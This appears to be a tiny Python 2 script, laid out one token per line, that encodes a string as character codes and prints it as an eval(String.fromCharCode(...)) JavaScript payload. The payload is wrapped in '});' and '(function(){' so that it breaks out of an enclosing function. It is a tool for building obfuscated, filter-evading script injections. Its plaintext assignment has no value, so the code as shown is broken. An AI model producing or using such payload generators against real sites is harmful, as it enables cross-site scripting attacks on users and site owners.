def
charencode(string):
encoded
=
''
for
char
in
string:
encoded
=
encoded
+
","
+
str
(
ord
(char))
return
encoded[
1
:]
plaintext
=
payload
=
charencode(plaintext)
final
=
"eval(String.fromCharCode(%s));"
%
(payload)
print
"});"
print
final
print
"(function(){"